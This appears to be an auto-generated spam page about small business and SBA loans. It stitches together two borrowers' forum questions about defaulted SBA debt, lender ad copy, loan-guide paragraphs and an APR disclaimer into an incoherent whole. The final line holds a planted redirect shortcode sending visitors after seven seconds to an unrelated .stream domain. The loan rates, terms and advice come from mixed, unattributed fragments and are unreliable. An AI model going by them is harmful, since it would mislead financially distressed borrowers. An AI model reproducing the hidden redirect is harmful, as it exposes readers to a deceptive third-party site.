“small business loans with no revenue |business loans terms”

In 2007 my business went under. I had an SBA guaranteed loan that I defaulted on for $22K (original balance $25K) with no means to repay. I received a 1099C cancellation of debt from the lender on 9/30/07 for the full amount due on the loan. Monday, 9/16/13, my employer received an order for administrative wage garnishment from the Dept. of Treasury on behalf of the SBA. Can they collect on a cancelled debt? I of course, have filed for a dispute hearing on the basis the debt has been cancelled is no longer owed. Any help would be much appreciated. If feel like I’m living a nighmare all over again.

As a marketplace lender, we can provide funding programs for business owners with bad credit history, newer businesses and those businesses that perform well but can’t show it with financial statements. Our financing terms can range from 6 months to 10 years! With our common sense process, we approve a large percentage of our applications and are able to our clients significantly more capital. It only takes a few seconds to apply and less than 24hrs for approval. Apply Now!

The SBA sets maturity terms according to the planned use of the loan proceeds. Most common maturity terms for SBA 7(a) loans are 7-10 years. However, 25 year terms are available for the purchase of commercial for real estate.

The CDC / SBA 504 loan program is designed to get affordable, long term loans to small businesses looking to buy or build facilities to operate out of as well as outfit those facilities with heavy equipment with long lifespans.

For businesses with a year or more of history and revenue, you have more financing options, including SBA loans, term loans, business lines of credit and invoice factoring. Take our quiz to figure out your best financing options:

If you’re looking to open a new location, hire employees or refinance an existing loan, SBA loans are a great option. SBA loan rates and terms typically are more manageable for borrowers than other types of financing.

Loans up to $350,000 (For qualified US Veterans [not dishonorably discharged], Service–Disabled Veterans, Active Duty Military, current Reservists and National Guard members and their current/surviving spouses.)

If you’re looking for an SBA loan of less than $350,000 for working capital or debt refinancing, SmartBiz is a good choice. It works with partner banks to underwrite SBA 7(a) loans of $30,000 to $350,000, with APRs of 8.27% to 9.57%. The lender also offers SBA 7(a) commercial real estate loans from $500,000 to $5 million with APRs ranging from 6.36% to 6.41%. Read more in our SmartBiz review.

As mentioned earlier, online lenders may provide funding (and quickly) if other alternatives fail, especially for those with bad credit. Aside from higher interest rates, Internet lenders are known for onerous terms and poor transparency, so be sure you really need the money–and can pay it back–if you go this route.

The trade off is that the SBA, as a federal agency, is promoting certain policy agendas. This results in SBA loans having strict requirements that the borrower must meet in order to qualify for the loan, including how the proceeds of the loan can be used.

And if your business is very small or new, you may want to consider taking out a personal loan to use for business purposes. This will mean your own financial health is all that’s under the microscope (and on the hook if things go south). Your loan amount will probably be lower, but the process — and lending criteria — usually won’t be as involved. If you want to check out your best options, see our guide on the Best Unsecured Loans.

Finding financing in economic climate can be challenging, whether you’re looking for start-up funds, capital to expand or money to hold on through the tough times. But given our current state of affairs, securing funds is as tough as ever. To help you find the money you need, we’ve compiled a guide on 10 financing techniques and what you should know when pursuing them.

Getting a business loan is a major hurdle facing small businesses, mainly due to tight lending standards by banks. But obtaining outside financing is often necessary to start or grow a business or cover day-to-day expenses, including payroll and inventory.

Unfortunately, that doesn’t mean it’s easy to obtain a small business loan from traditional banks. You should still try — you’ll usually receive a lower interest rate if you can qualify. But if you’re like the majority of small businesses, you may come up empty.

Using a credit card to fund your business is some serious risky business. Fall behind on your payment and your credit score gets whacked. Pay just the minimum each month and you could create a hole you’ll never get out of. However, used responsibly, a credit card can get you out of the occasional jam and even extend your accounts payable period to shore up your cash flow.

We make money when you get the funding you need. Some of the loan providers on our site pay us a referral fee when customers get approved for a loan. We always try to find the best option for you, even if we don’t have a paying relationship with a lender. We also turn down offers from lenders that we feel take advantage of small-business owners. Read more about how we make money.

If you don’t have established business credit yet, you can leverage your personal credit to qualify for financing – but you’ll probably have to personally guarantee the loan or put down collateral. And just like a personal credit score does, a strong business credit score can help you qualify for better rates and terms. Taking the time to build excellent business credit – and monitor it regularly – can save you thousands of dollars on the cost of your loan. Financially speaking, a good business credit score it can be a total game changer for your business

Too often, growing enterprises find themselves shut out when they attempt to obtain small business loans. In theory, it should be difficult to obtain funding–lenders are in the business of making money, not providing charity. Still, there are many ways to improve your odds of getting a loan.

Microlenders offer small-size loans for young businesses with limited revenue and history. They typically offer loans of $50,000 or less. Some microlenders specifically work with small businesses in underrepresented communities and provide business assistance.

*Annual Percentage Rates (APR), loan term and monthly payments are estimated based on analysis of information provided by you, data provided by lenders, and publicly available information. All loan information is presented without warranty, and the estimated APR and other terms are not binding in any way. Lenders provide loans with a range of APRs depending on borrowers’ credit and other factors. Keep in mind that only borrowers with excellent credit will qualify for the lowest rate available. Your actual APR will depend on factors like credit score, requested loan amount, loan term, and credit history. All loans are subject to credit review and approval.

My question is that I had a SBA loan of $75000 and was unable to repay due to real estates slump back in 2009/ 2009, and I had filled a chapter 7 which did not discharge. Now what are my options to clear SBA loan. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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